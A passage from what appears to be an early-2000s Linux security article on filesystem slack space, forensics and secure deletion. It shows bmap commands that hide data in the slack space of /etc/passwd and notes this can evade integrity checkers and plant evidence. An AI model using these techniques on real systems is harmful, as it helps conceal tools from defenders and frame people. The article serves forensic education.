to 32K, thus wasting a huge amount of space if storing small files. On a 4GB Linux partition, the block size is typically 4K (chosen automatically when the mke2fs utility is run to create a filesystem). Thus one can reliably hide up to 4KB of data per file if using a small file. The data will be invulnerable to diskusage, invisible from the filesystem, and, which is more exciting for some people, undetectable by file integrity checkers using file checksumming algorithms and MAC times. Ext2 floppy (with a block size of 1KB) allows hiding data as well, albeit in smaller chunks. The obscure tool bmap exists to jam data in slack space, take it out and also wipe the slack space, if needed. Some of the examples follow: # echo "evil data is here" | bmap --mode putslack /etc/passwd puts the data in slack space produced by /etc/passwd file # bmap --mode slack /etc/passwd getting from block 887048 file size was: 9428 slack size: 2860 block size: 4096 evil data is here shows the data: # bmap --mode wipeslack /etc/passwd cleans the slack space. Hiding data in slack space can be used to store secrets, plant evidence (forensics software will find it, but the suspect probably will not) and maybe hide tools from integrity checkers (if automated splitting of the larger file into slack-sized chunks is implemented). Now lets turn to discovering what is out there on the vast expanses of the disk drive? If looking for strings of text, a simple " strings /dev/hdaX | grep 'string we need' " will confirm the presence of string on the partition (the process *will* take along time). Using a hex editor on the raw partition can sometimes shed some light on the disk contents, but the process is extremely messy. Thus further analysis puts us firmly in the field of computer forensics. The best tool for snooping around on the disk is The Coroner's Toolkit by Dan Farmer and Wietse Venema and the tctutils set of utilities for it. The software provides functionality for gathering forensics data, recovering files, analyzing drive contents for changes (using file timestamps), locating content on disks (using inode and block numbers) and for other fun forensics tasks. Detailed description of the toolkit goes well beyond the scope of this paper. Nowlets briefly review how to prevent the adversaries from finding private data. Several Linux file cleansing utilities exist. All but one can only be used to wipe files, rather than empty disk space. GNU shred (by Colin Plumb), srm (by Todd Burgess), wipe (by Tom Vier) and srm from thc kit (by THC group, see ). Some use the multiple random passes as recommended in the above paper and some simply overwrite the file with zeros once. Some does not work under certain circumstances or for specific filesystems. As reported in shred man page "shred relies on a very important assumption: that the filesystem overwrites data in place". If this condition is not met, no secure deletion will be performed (with no error message!). To eliminate the traces of old removed files, one might want to wipe the empty space. The simple method is to use a standard Linux "dd" utility. To wipe the empty space on /home partition use: dd if=/dev/zero of=/home/bigfile sync rm /home/bigfile sync The commands will zero out the empty space on the partition. Doing the same for /tmp partition might cause some applications to crash, thus one must be cautious. Utility " sfill " from thc THC secure_delete package (available at ) can overwrite empty space using more stringent algorithm. It should be noted that swap space can also contain pieces of private data and should be wiped as well if additional security is desired. Another program (sswap) from THC toolkit can be utilized for the purpose. The important fact to note is that when empty space is wiped, slack space for all files remains intact. If file is wiped (at least using current version of GNU shred), the associated slack space is NOT wiped with it! The article briefly touches upon hiding, finding and destroying data on Linux filesystems. It should become clear that the area of computer forensics, aimed at recovering the evidence from captured disk drives, has manychallenges, requiring knowledge of hardware, operating systems and application software. About the Author Anton Chuvakin, Ph.D. is a Senior Security Analyst with netForensics ( ), a security information management company that provides real-time network security monitoring solutions.. It is common knowledge that what is deleted from the computer can sometimes be brought back. Recent . thought, removed, forever, anton, chuvakin, shows, recover. . Brittany Day
Mar 10, 2002
•
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
What got you started with Linux?
Search Topics
Powered By
Linux Security - Your source for Top Linux News, Advisories, HOWTOs and Feature Releases
QUICK LINKS
subscribe to newsletters!
Like staying secure? So do we.
Sign up for updates, tips, and alerts!
Discover faster search, smarter navigation, and deeper Linux security insights. Read More